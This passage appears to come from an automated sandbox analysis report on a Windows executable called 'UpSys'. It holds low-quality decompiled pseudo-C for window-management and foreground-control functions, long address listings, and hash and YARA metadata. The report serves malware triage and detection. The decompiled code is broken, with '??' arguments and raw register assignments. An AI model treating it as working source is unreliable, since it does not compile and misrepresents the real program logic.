				if ( *((intOrPtr*)(_t472 + 0x60)) !=  *_t392) goto 0x40064eea;
				E00000001140064760(3, 3, _t280, _t392, _t477, _t472, 0xffffffff, _t505);
				r10d = 0;
				 *(_t483 + 0x30) =  *(_t483 + 0x30) + 8;
				if (4 -  *(_t477 + 0xe4) <= 0) goto 0x40064eab;
				DestroyWindow(??);
				if ( *((intOrPtr*)(_t392 + 0x80)) == 0) goto 0x40064f18;
				DeleteObject(??);
				if ( *((intOrPtr*)(_t392 + 0xb8)) == 0) goto 0x40064f2a;
				DeleteObject(??);
				if ( *((intOrPtr*)(_t392 + 0xc0)) == 0) goto 0x40064f3c;
				DestroyIcon(??);
				if ( *((intOrPtr*)(_t392 + 0x90)) == 0) goto 0x40064f4e;
				DestroyWindow(??);
				if ( *(_t483 + 0xf0) !=  *(_t480 + 0x30)) goto 0x40064f5e;
				 *(_t480 + 0x30) =  *(_t480 + 0x30) | 0xffffffff;
				E00000001140060AF0( *(_t483 + 0xf0), _t280, _t392, _t477, _t477);
				return 1;
			}


























































                                                                                                                                                                                                        0x140064760
                                                                                                                                                                                                        0x140064760
                                                                                                                                                                                                        0x140064760
                                                                                                                                                                                                        0x140064760
                                                                                                                                                                                                        0x140064763
                                                                                                                                                                                                        0x140064767
                                                                                                                                                                                                        0x14006476d
                                                                                                                                                                                                        0x140064774
                                                                                                                                                                                                        0x140064781
                                                                                                                                                                                                        0x140064784
                                                                                                                                                                                                        0x140064789
                                                                                                                                                                                                        0x14006478f
                                                                                                                                                                                                        0x140064793
                                                                                                                                                                                                        0x1400647be
                                                                                                                                                                                                        0x1400647c5
                                                                                                                                                                                                        0x1400647c8
                                                                                                                                                                                                        0x1400647cd
                                                                                                                                                                                                        0x1400647d4
                                                                                                                                                                                                        0x1400647d7
                                                                                                                                                                                                        0x1400647dd
                                                                                                                                                                                                        0x1400647e6
                                                                                                                                                                                                        0x1400647ec
                                                                                                                                                                                                        0x1400647f1
                                                                                                                                                                                                        0x1400647fa
                                                                                                                                                                                                        0x140064803
                                                                                                                                                                                                        0x14006480c
                                                                                                                                                                                                        0x140064815
                                                                                                                                                                                                        0x14006481e
                                                                                                                                                                                                        0x140064827
                                                                                                                                                                                                        0x14006482d
                                                                                                                                                                                                        0x140064834
                                                                                                                                                                                                        0x140064836
                                                                                                                                                                                                        0x14006483c
                                                                                                                                                                                                        0x140064845
                                                                                                                                                                                                        0x140064850
                                                                                                                                                                                                        0x14006485c
                                                                                                                                                                                                        0x140064863
                                                                                                                                                                                                        0x140064865
                                                                                                                                                                                                        0x14006486f
                                                                                                                                                                                                        0x140064879
                                                                                                                                                                                                        0x140064880
                                                                                                                                                                                                        0x14006488a
                                                                                                                                                                                                        0x140064891
                                                                                                                                                                                                        0x140064899
                                                                                                                                                                                                        0x14006489e
                                                                                                                                                                                                        0x1400648a0
                                                                                                                                                                                                        0x1400648a8
                                                                                                                                                                                                        0x1400648b5
                                                                                                                                                                                                        0x1400648bd
                                                                                                                                                                                                        0x1400648bd
                                                                                                                                                                                                        0x1400648c1
                                                                                                                                                                                                        0x1400648cd
                                                                                                                                                                                                        0x1400648d1
                                                                                                                                                                                                        0x1400648d6
                                                                                                                                                                                                        0x1400648d9
                                                                                                                                                                                                        0x1400648e1
                                                                                                                                                                                                        0x1400648e7
                                                                                                                                                                                                        0x1400648ed
                                                                                                                                                                                                        0x1400648ef
                                                                                                                                                                                                        0x1400648f4
                                                                                                                                                                                                        0x1400648ff
                                                                                                                                                                                                        0x140064907
                                                                                                                                                                                                        0x14006490d
                                                                                                                                                                                                        0x140064919
                                                                                                                                                                                                        0x140064920
                                                                                                                                                                                                        0x140064922
                                                                                                                                                                                                        0x140064929
                                                                                                                                                                                                        0x140064932
                                                                                                                                                                                                        0x140064939
                                                                                                                                                                                                        0x14006494b
                                                                                                                                                                                                        0x14006495a
                                                                                                                                                                                                        0x14006495f
                                                                                                                                                                                                        0x14006496c
                                                                                                                                                                                                        0x14006497b
                                                                                                                                                                                                        0x140064984
                                                                                                                                                                                                        0x140064989
                                                                                                                                                                                                        0x14006499b
                                                                                                                                                                                                        0x1400649a5
                                                                                                                                                                                                        0x1400649ad
                                                                                                                                                                                                        0x1400649ba
                                                                                                                                                                                                        0x1400649c2
                                                                                                                                                                                                        0x1400649c9
                                                                                                                                                                                                        0x1400649cd
                                                                                                                                                                                                        0x1400649d3
                                                                                                                                                                                                        0x1400649de
                                                                                                                                                                                                        0x1400649e5
                                                                                                                                                                                                        0x1400649f1
                                                                                                                                                                                                        0x1400649f8
                                                                                                                                                                                                        0x1400649fa
                                                                                                                                                                                                        0x140064a05
                                                                                                                                                                                                        0x140064a07
                                                                                                                                                                                                        0x140064a0f
                                                                                                                                                                                                        0x140064a13
                                                                                                                                                                                                        0x140064a15
                                                                                                                                                                                                        0x140064a19
                                                                                                                                                                                                        0x140064a20
                                                                                                                                                                                                        0x140064a2a
                                                                                                                                                                                                        0x140064a39
                                                                                                                                                                                                        0x140064a3e
                                                                                                                                                                                                        0x140064a44
                                                                                                                                                                                                        0x140064a4e
                                                                                                                                                                                                        0x140064a53
                                                                                                                                                                                                        0x140064a5b
                                                                                                                                                                                                        0x140064a62
                                                                                                                                                                                                        0x140064a67
                                                                                                                                                                                                        0x140064a6d
                                                                                                                                                                                                        0x140064a78
                                                                                                                                                                                                        0x140064a87
                                                                                                                                                                                                        0x140064a8f
                                                                                                                                                                                                        0x140064aa6
                                                                                                                                                                                                        0x140064aab
                                                                                                                                                                                                        0x140064aca
                                                                                                                                                                                                        0x140064ad7
                                                                                                                                                                                                        0x140064adc
                                                                                                                                                                                                        0x140064ae2
                                                                                                                                                                                                        0x140064aef
                                                                                                                                                                                                        0x140064af5
                                                                                                                                                                                                        0x140064afb
                                                                                                                                                                                                        0x140064b07
                                                                                                                                                                                                        0x140064b0e
                                                                                                                                                                                                        0x140064b14
                                                                                                                                                                                                        0x140064b17
                                                                                                                                                                                                        0x140064b20
                                                                                                                                                                                                        0x140064b2e
                                                                                                                                                                                                        0x140064b37
                                                                                                                                                                                                        0x140064b3e
                                                                                                                                                                                                        0x140064b43
                                                                                                                                                                                                        0x140064b4a
                                                                                                                                                                                                        0x140064b4c
                                                                                                                                                                                                        0x140064b5d
                                                                                                                                                                                                        0x140064b67
                                                                                                                                                                                                        0x140064b6d
                                                                                                                                                                                                        0x140064b78
                                                                                                                                                                                                        0x140064b7a
                                                                                                                                                                                                        0x140064b85
                                                                                                                                                                                                        0x140064b8a
                                                                                                                                                                                                        0x140064b9f
                                                                                                                                                                                                        0x140064ba7
                                                                                                                                                                                                        0x140064bae
                                                                                                                                                                                                        0x140064bc4
                                                                                                                                                                                                        0x140064bd4
                                                                                                                                                                                                        0x140064be3
                                                                                                                                                                                                        0x140064bee
                                                                                                                                                                                                        0x140064c04
                                                                                                                                                                                                        0x140064c09
                                                                                                                                                                                                        0x140064c16
                                                                                                                                                                                                        0x140064c1f
                                                                                                                                                                                                        0x140064c27
                                                                                                                                                                                                        0x140064c29
                                                                                                                                                                                                        0x140064c2b
                                                                                                                                                                                                        0x140064c32
                                                                                                                                                                                                        0x140064c3b
                                                                                                                                                                                                        0x140064c3f
                                                                                                                                                                                                        0x140064c48
                                                                                                                                                                                                        0x140064c4f
                                                                                                                                                                                                        0x140064c54
                                                                                                                                                                                                        0x140064c5c
                                                                                                                                                                                                        0x140064c62
                                                                                                                                                                                                        0x140064c73
                                                                                                                                                                                                        0x140064c75
                                                                                                                                                                                                        0x140064c79
                                                                                                                                                                                                        0x140064c7b
                                                                                                                                                                                                        0x140064c87
                                                                                                                                                                                                        0x140064c8e
                                                                                                                                                                                                        0x140064c9a
                                                                                                                                                                                                        0x140064c9c
                                                                                                                                                                                                        0x140064ca1
                                                                                                                                                                                                        0x140064cab
                                                                                                                                                                                                        0x140064cb6
                                                                                                                                                                                                        0x140064cbb
                                                                                                                                                                                                        0x140064cbd
                                                                                                                                                                                                        0x140064cc6
                                                                                                                                                                                                        0x140064ccd
                                                                                                                                                                                                        0x140064cd3
                                                                                                                                                                                                        0x140064cd9
                                                                                                                                                                                                        0x140064ce0
                                                                                                                                                                                                        0x140064cea
                                                                                                                                                                                                        0x140064cf7
                                                                                                                                                                                                        0x140064cfd
                                                                                                                                                                                                        0x140064d03
                                                                                                                                                                                                        0x140064d08
                                                                                                                                                                                                        0x140064d11
                                                                                                                                                                                                        0x140064d17
                                                                                                                                                                                                        0x140064d1e
                                                                                                                                                                                                        0x140064d24
                                                                                                                                                                                                        0x140064d2b
                                                                                                                                                                                                        0x140064d34
                                                                                                                                                                                                        0x140064d3c
                                                                                                                                                                                                        0x140064d44
                                                                                                                                                                                                        0x140064d4d
                                                                                                                                                                                                        0x140064d56
                                                                                                                                                                                                        0x140064d5b
                                                                                                                                                                                                        0x140064d60
                                                                                                                                                                                                        0x140064d6f
                                                                                                                                                                                                        0x140064d74
                                                                                                                                                                                                        0x140064d82
                                                                                                                                                                                                        0x140064d87
                                                                                                                                                                                                        0x140064d8c
                                                                                                                                                                                                        0x140064d9d
                                                                                                                                                                                                        0x140064da7
                                                                                                                                                                                                        0x140064dad
                                                                                                                                                                                                        0x140064daf
                                                                                                                                                                                                        0x140064db8
                                                                                                                                                                                                        0x140064dc1
                                                                                                                                                                                                        0x140064dca
                                                                                                                                                                                                        0x140064dd5
                                                                                                                                                                                                        0x140064dd7
                                                                                                                                                                                                        0x140064de6
                                                                                                                                                                                                        0x140064def
                                                                                                                                                                                                        0x140064df9
                                                                                                                                                                                                        0x140064e01
                                                                                                                                                                                                        0x140064e13
                                                                                                                                                                                                        0x140064e17
                                                                                                                                                                                                        0x140064e1d
                                                                                                                                                                                                        0x140064e36
                                                                                                                                                                                                        0x140064e41
                                                                                                                                                                                                        0x140064e52
                                                                                                                                                                                                        0x140064e5b
                                                                                                                                                                                                        0x140064e67
                                                                                                                                                                                                        0x140064e6d
                                                                                                                                                                                                        0x140064e79
                                                                                                                                                                                                        0x140064e7b
                                                                                                                                                                                                        0x140064e81
                                                                                                                                                                                                        0x140064e84
                                                                                                                                                                                                        0x140064e8b
                                                                                                                                                                                                        0x140064e8d
                                                                                                                                                                                                        0x140064e93
                                                                                                                                                                                                        0x140064ea1
                                                                                                                                                                                                        0x140064ea6
                                                                                                                                                                                                        0x140064eb2
                                                                                                                                                                                                        0x140064eb9
                                                                                                                                                                                                        0x140064ebb
                                                                                                                                                                                                        0x140064ec4
                                                                                                                                                                                                        0x140064ecd
                                                                                                                                                                                                        0x140064ed6
                                                                                                                                                                                                        0x140064edd
                                                                                                                                                                                                        0x140064ee7
                                                                                                                                                                                                        0x140064ef6
                                                                                                                                                                                                        0x140064efb
                                                                                                                                                                                                        0x140064f00
                                                                                                                                                                                                        0x140064f10
                                                                                                                                                                                                        0x140064f12
                                                                                                                                                                                                        0x140064f22
                                                                                                                                                                                                        0x140064f24
                                                                                                                                                                                                        0x140064f34
                                                                                                                                                                                                        0x140064f36
                                                                                                                                                                                                        0x140064f46
                                                                                                                                                                                                        0x140064f48
                                                                                                                                                                                                        0x140064f58
                                                                                                                                                                                                        0x140064f5a
                                                                                                                                                                                                        0x140064f63
                                                                                                                                                                                                        0x140064f7f

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                                                        • String ID: P
                                                                                                                                                                                                        • API String ID: 3275902921-3110715001
                                                                                                                                                                                                        • Opcode ID: 3c097050ffdc6d6bec449ea1208d27a1a543d9f02cd122447b4541208901c5ad
                                                                                                                                                                                                        • Instruction ID: a97ac39836ef3376c1253fee8768da841e546f3f8e64c18f32a9b708cb3f0dc1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3c097050ffdc6d6bec449ea1208d27a1a543d9f02cd122447b4541208901c5ad
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 23329732205AC086EB66CF26D8507ED77A2F789BD4F645926EB5E47BA5CF38C481C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140056070 Relevance: 45.9, APIs: 25, Strings: 1, Instructions: 442windowCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 30%
                                                                                                                                                                                                        			E00000001140056070(void* __edx, signed int __edi, long long __rbx, long long __rsi, long long __rbp, void* __r11, signed int _a32) {
				void* _v40;
				intOrPtr _v116;
				signed int _v120;
				long long _v128;
				intOrPtr _v136;
				signed int _v224;
				long long _v232;
				intOrPtr _v248;
				intOrPtr _v256;
				intOrPtr _v264;
				long _t62;
				signed char _t69;
				signed int _t76;
				signed int _t77;
				signed char _t78;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				signed int _t113;
				void* _t114;
				void* _t120;
				signed int _t121;
				signed int _t123;
				signed int _t124;
				void* _t132;
				intOrPtr _t133;
				int _t157;
				intOrPtr _t161;
				void* _t165;
				intOrPtr _t171;
				struct HWND__* _t179;
				int _t182;
				struct HWND__* _t185;
				struct HWND__* _t188;

				_t137 = __rbx;
				_t132 = _t165;
				 *((long long*)(_t132 + 8)) = __rbx;
				 *((long long*)(_t132 + 0x10)) = __rbp;
				 *((long long*)(_t132 + 0x18)) = __rsi;
				_t76 = r8d;
				if (E0000000114004E0B0(__edx, 0x400c6a00, _t132 + 0x20,  &_v224, __r11) != 0) goto 0x400560b4;
				goto 0x40056379;
				_t133 =  *0x400c6aa0; // 0x0
				_t171 =  *0x400c6ac8; // 0x3264820
				_t113 = _t76;
				_t77 =  <  ? 0 : _t76;
				_v232 =  *((intOrPtr*)( *((intOrPtr*)(_t133 + _a32 * 8))));
				r13d = _t77;
				r13d = r13d & 0x00000100;
				_t161 =  *((intOrPtr*)( *((intOrPtr*)(_t171 + _v224 * 8))));
				_a32 =  *((intOrPtr*)(_t161 + 0xf4));
				if (_t113 == 0) goto 0x40056128;
				r8d = __edi;
				E0000000114004DB20(r14d, __edi, __rbx, _t161, _t132 + 0x20, _t171);
				asm("bt ebx, 0xb");
				if (_t113 >= 0) goto 0x4005615b;
				_v248 = 0x13;
				_v256 = 0;
				_v264 = 0;
				r9d = 0;
				r8d = 0;
				SetWindowPos(??, ??, ??, ??, ??, ??, ??);
				_t79 = _a32 & 0x000000ff;
				_t114 = _t79 - 0x14;
				if (_t114 > 0) goto 0x40056605;
				if (_t114 == 0) goto 0x4005651d;
				if (_t79 == 9) goto 0x400564b8;
				if (_t79 == 0xb) goto 0x40056460;
				if (_t79 == 0xc) goto 0x400560ad;
				if (_t79 - 0xd <= 0) goto 0x4005627d;
				if (_t79 - 0xf <= 0) goto 0x4005639a;
				_t120 = _t79 - 0x11;
				if (_t120 != 0) goto 0x40056775;
				GetWindowLongW(_t188);
				_v136 = 8;
				_v128 =  *((intOrPtr*)(_t161 + 0x18));
				_v116 = 0xf010;
				asm("sbb ecx, ecx");
				_t81 = (_t79 & 0x00001000) + 0x1000;
				asm("bt ebx, 0x9");
				_v120 = _t81;
				if (_t120 >= 0) goto 0x400561ff;
				_v120 = _t81 | 0x00000010;
				r8d = 0;
				SendMessageW(_t185, _t182);
				asm("bt ebx, 0xa");
				if (_t120 >= 0) goto 0x40056238;
				r8d = 2;
				_t62 = SendMessageW(_t179, _t157);
				_t121 = r13d;
				if (_t121 == 0) goto 0x40056278;
				r8d = E0000000114004E150(_t62, 0x400c6a00,  *((intOrPtr*)(_t161 + 0x60)));
				E0000000114004DB20(r14d, __edi, _t137, _t161, _t132 + 0x20,  *((intOrPtr*)(_t161 + 0x18)));
				r8d = 9;
				SendMessageW(??, ??, ??, ??);
				r14d = 0;
				_t78 = _t77 & 0x000010f8;
				if (_t121 <= 0) goto 0x40056377;
				r12d = 0xc0;
				if (_t78 >= 0) goto 0x400562b1;
				EnableWindow(??, ??);
				_t123 = _t78 & 0x00000040;
				if (_t123 == 0) goto 0x400562c4;
				EnableWindow(??, ??);
				r8d = _t78;
				r8d = r8d & 0x00000020;
				if (_t123 == 0) goto 0x400562d0;
				r12d = _t78;
				r12d = r12d & 0x00000010;
				if (_t123 == 0) goto 0x400562dc;
				_t124 = _t78 & 0x00000008;
				if (_t124 == 0) goto 0x400562e8;
				asm("bt ebx, 0xc");
				if (_t124 >= 0) goto 0x400562f0;
				_t69 =  *((intOrPtr*)(_t161 + 0xf7));
				dil =  !dil;
				dil = dil &  *(_t161 + 0xf6);
				dil = dil | _t78;
				 *(_t161 + 0xf6) = dil;
				if (_t69 == 0xff) goto 0x40056321;
				_t83 =  *((intOrPtr*)(_v232 + 0x29c));
				if ((_t69 & 0x000000ff) == _t83) goto 0x40056321;
				if (_t83 != 0xffffffff) goto 0x40056377;
				if (r8d == r14d) goto 0x40056331;
				ShowWindow(??, ??);
				if (r12d == r14d) goto 0x40056362;
				ShowWindow(??, ??);
				if (_a32 != 0x1a) goto 0x40056362;
				if (( *(_t161 + 0xf6) & 0x00000040) == 0) goto 0x40056362;
				EnableWindow(??, ??);
				r9d = 1;
				E0000000114003DCE0(_t137, _v232, _t161);
				return 1;
			}





































                                                                                                                                                                                                        0x140056070
                                                                                                                                                                                                        0x140056070
                                                                                                                                                                                                        0x140056073
                                                                                                                                                                                                        0x140056077
                                                                                                                                                                                                        0x14005607b
                                                                                                                                                                                                        0x14005608f
                                                                                                                                                                                                        0x1400560ab
                                                                                                                                                                                                        0x1400560af
                                                                                                                                                                                                        0x1400560bc
                                                                                                                                                                                                        0x1400560cc
                                                                                                                                                                                                        0x1400560d3
                                                                                                                                                                                                        0x1400560d8
                                                                                                                                                                                                        0x1400560de
                                                                                                                                                                                                        0x1400560e7
                                                                                                                                                                                                        0x1400560ea
                                                                                                                                                                                                        0x1400560f1
                                                                                                                                                                                                        0x1400560ff
                                                                                                                                                                                                        0x140056106
                                                                                                                                                                                                        0x14005610f
                                                                                                                                                                                                        0x140056115
                                                                                                                                                                                                        0x140056128
                                                                                                                                                                                                        0x14005612c
                                                                                                                                                                                                        0x14005612e
                                                                                                                                                                                                        0x140056136
                                                                                                                                                                                                        0x14005613a
                                                                                                                                                                                                        0x140056140
                                                                                                                                                                                                        0x140056143
                                                                                                                                                                                                        0x140056149
                                                                                                                                                                                                        0x14005615b
                                                                                                                                                                                                        0x140056163
                                                                                                                                                                                                        0x140056166
                                                                                                                                                                                                        0x14005616c
                                                                                                                                                                                                        0x140056175
                                                                                                                                                                                                        0x14005617e
                                                                                                                                                                                                        0x140056187
                                                                                                                                                                                                        0x140056190
                                                                                                                                                                                                        0x140056199
                                                                                                                                                                                                        0x14005619f
                                                                                                                                                                                                        0x1400561a2
                                                                                                                                                                                                        0x1400561af
                                                                                                                                                                                                        0x1400561b9
                                                                                                                                                                                                        0x1400561c4
                                                                                                                                                                                                        0x1400561ce
                                                                                                                                                                                                        0x1400561e2
                                                                                                                                                                                                        0x1400561e6
                                                                                                                                                                                                        0x1400561e8
                                                                                                                                                                                                        0x1400561ec
                                                                                                                                                                                                        0x1400561f3
                                                                                                                                                                                                        0x1400561f8
                                                                                                                                                                                                        0x14005620b
                                                                                                                                                                                                        0x140056213
                                                                                                                                                                                                        0x140056219
                                                                                                                                                                                                        0x14005621d
                                                                                                                                                                                                        0x14005622c
                                                                                                                                                                                                        0x140056232
                                                                                                                                                                                                        0x140056238
                                                                                                                                                                                                        0x14005623b
                                                                                                                                                                                                        0x140056257
                                                                                                                                                                                                        0x14005625a
                                                                                                                                                                                                        0x14005626c
                                                                                                                                                                                                        0x140056272
                                                                                                                                                                                                        0x14005627d
                                                                                                                                                                                                        0x140056285
                                                                                                                                                                                                        0x14005628b
                                                                                                                                                                                                        0x140056299
                                                                                                                                                                                                        0x1400562a1
                                                                                                                                                                                                        0x1400562ab
                                                                                                                                                                                                        0x1400562b1
                                                                                                                                                                                                        0x1400562b4
                                                                                                                                                                                                        0x1400562be
                                                                                                                                                                                                        0x1400562c4
                                                                                                                                                                                                        0x1400562c7
                                                                                                                                                                                                        0x1400562cb
                                                                                                                                                                                                        0x1400562d0
                                                                                                                                                                                                        0x1400562d3
                                                                                                                                                                                                        0x1400562d7
                                                                                                                                                                                                        0x1400562e1
                                                                                                                                                                                                        0x1400562e4
                                                                                                                                                                                                        0x1400562e8
                                                                                                                                                                                                        0x1400562ec
                                                                                                                                                                                                        0x1400562f0
                                                                                                                                                                                                        0x1400562f6
                                                                                                                                                                                                        0x1400562f9
                                                                                                                                                                                                        0x140056300
                                                                                                                                                                                                        0x140056303
                                                                                                                                                                                                        0x14005630c
                                                                                                                                                                                                        0x14005630e
                                                                                                                                                                                                        0x14005631a
                                                                                                                                                                                                        0x14005631f
                                                                                                                                                                                                        0x140056324
                                                                                                                                                                                                        0x14005632b
                                                                                                                                                                                                        0x140056334
                                                                                                                                                                                                        0x14005633e
                                                                                                                                                                                                        0x14005634c
                                                                                                                                                                                                        0x140056355
                                                                                                                                                                                                        0x14005635c
                                                                                                                                                                                                        0x140056369
                                                                                                                                                                                                        0x140056372
                                                                                                                                                                                                        0x140056399

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$Window$Long
                                                                                                                                                                                                        • String ID: P
                                                                                                                                                                                                        • API String ID: 2965483870-3110715001
                                                                                                                                                                                                        • Opcode ID: af5a69dde6486889f0ad6b23bdddffe1b1d3834ca7b5e07d4113107098425336
                                                                                                                                                                                                        • Instruction ID: 9475c9b826fdc7f3327000e46331425aa0a007c7c4a77dc668183013993be4ad
                                                                                                                                                                                                        • Opcode Fuzzy Hash: af5a69dde6486889f0ad6b23bdddffe1b1d3834ca7b5e07d4113107098425336
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C112B172204A8082F766CF67E4547EA77A1F789BD4F544126EB9A53BF4CA3AC8458B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140041BD0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                                                                        • String ID: Shell_TrayWnd
                                                                                                                                                                                                        • API String ID: 3778422247-2988720461
                                                                                                                                                                                                        • Opcode ID: 149b4eb7668a274f9ef62d23e10e346ada830226e058e890d87f9f6e80ced782
                                                                                                                                                                                                        • Instruction ID: 2ece0a7187a55042ec18b78165d6ede917c4c6422d3a1196e24f326efc0ccd26
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 149b4eb7668a274f9ef62d23e10e346ada830226e058e890d87f9f6e80ced782
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2341947671056083F75A9B37A854BEE22A2BBCCBD4F505035EB0A43B74DF3D888A8744
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140066010 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 262windowCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 23%
                                                                                                                                                                                                        			E00000001140066010(long long __rbx, void* __rcx, void* __rdx, intOrPtr* __r8) {
				void* __rsi;
				intOrPtr _t108;
				signed char _t121;
				intOrPtr _t137;
				void* _t139;
				intOrPtr _t140;
				void* _t142;
				intOrPtr _t149;
				intOrPtr _t151;
				long long _t206;
				struct HWND__* _t208;
				intOrPtr _t224;
				struct HWND__* _t254;
				int _t258;
				intOrPtr _t259;
				void* _t261;
				intOrPtr _t265;
				void* _t267;
				void* _t268;
				struct HWND__* _t279;
				struct HWND__* _t282;
				struct HWND__* _t284;
				struct tagPOINT* _t286;

				 *((long long*)(_t267 + 0x18)) = __rbx;
				_t268 = _t267 - 0xf0;
				_t259 =  *((intOrPtr*)(__rdx + 0x10));
				r15d = 0;
				r13b = 0;
				 *(_t268 + 0x130) =  *(_t268 + 0x130) & r15d;
				r14b = 0;
				 *(_t268 + 0x138) = r13b;
				if (_t259 - 4 < 0) goto 0x40066076;
				_t205 =  *((intOrPtr*)(__rdx + 8));
				_t7 = _t286 + 0x29; // 0x29
				if (E00000001140058CA0(_t7,  *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x18))) != 0) goto 0x40066076;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x18)));
				if (_t259 - 5 < 0) goto 0x400660a4;
				if (E00000001140058CA0(0x29,  *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x20))) != 0) goto 0x400660a4;
				 *(_t268 + 0x130) = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x20)));
				if (_t259 - 6 < 0) goto 0x40066102;
				if (E00000001140058CA0(0x29, _t205,  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x28))) != 0) goto 0x40066102;
				r14d = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x28)));
				r14b = r14b & 0x00000001;
				_t108 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x28)));
				_t224 =  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 0x28));
